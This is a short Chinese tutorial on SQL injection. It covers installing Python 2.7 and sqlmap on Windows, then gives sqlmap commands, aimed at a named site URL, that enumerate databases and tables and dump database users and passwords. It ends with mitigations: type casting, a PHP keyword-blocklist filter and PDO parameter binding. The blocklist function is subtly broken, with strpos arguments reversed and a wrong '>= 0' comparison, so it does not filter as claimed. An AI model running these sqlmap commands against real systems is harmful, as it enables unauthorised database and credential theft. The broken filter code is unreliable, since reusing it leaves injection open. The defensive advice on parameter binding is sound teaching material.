sql注入
概念和原因
比如在登录输入框内输入“delete from xx”,点击提交就会删掉xx表。
windows环境发现注入点
使用sqlmap工具检测注入点是否存在
安装python(安装sqlmap之前)
下载地址:https://www.python.org/downloads/,选择2.7的python版本下载。
安装注意:
1.安装路径一般默认是C:\Python27,可以修改,但是请记住。
2.将“Add python.exe to Path"项勾选,勾选后安装完成不再需要单独添加环境变量,默认是“去勾选”的。如果忘记勾选了,可以重新安装或者手动添加C:\Python27到环境变量(不懂可以搜素环境变量的安装)。
3.设置python到环境变量之后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python,出现python版本等信息,证明安装python成功。
安装sqlmap
下载地址:http://sqlmap.org/
安装注意:
1.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 "C:\Python27" 目录下;
2.“Win+R”,输入cmd,cd到刚刚的sqlmap文件夹,输入sqlmap.py -h,出现sqlmap帮助信息,证明安装成功了
sqlmap脱裤过程
“Win+R”,输入cmd,cd到刚刚的sqlmap文件夹,
例子一:
输入:sqlmap.py -u http://local.plat.twyyx.com/product/detail?id=9786 --dbs
结果:爆出所有的数据库名称
例子二:
输入:-u "要查的url" --tables -D "要看database"
结果:爆出要查询数据库的所有表
例子三:
输入:sqlmap.py -u http://local.plat.twyyx.com/product/detail?id=9786 --password
结果:爆出所有的数据库用户和密码
具体更多功能可网上查找,对于需要登录的注入点,可使用cookie参数
解决方法
1.单请求过滤用户输入
如果知道这个输入值是int的,可以使用类型转化成对应的类型
2.全局过滤用户输入
function isExistSqlInject($inject_value) {
$is_exist_sql_inject = false;
// 注入关键字
$inject_keyword = "'|and|exec|union|create|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|xp_|or|--|+";
$inject_value = strtolower($inject_value);
$inject_keyword_arr = explode('|', $inject_keyword);
foreach($inject_keyword_arr as $inject_keyword_one) {
if (strpos($inject_keyword_one, $inject_value) >= 0) {
$is_exist_sql_inject = true;
break;
}
}
return $is_exist_sql_inject;
}
过滤值可补充,不建议使用此方法
3.使用pdo的参数绑定
一般的php框架都会使用pdo参数绑定,前提是要使用数组的方式传参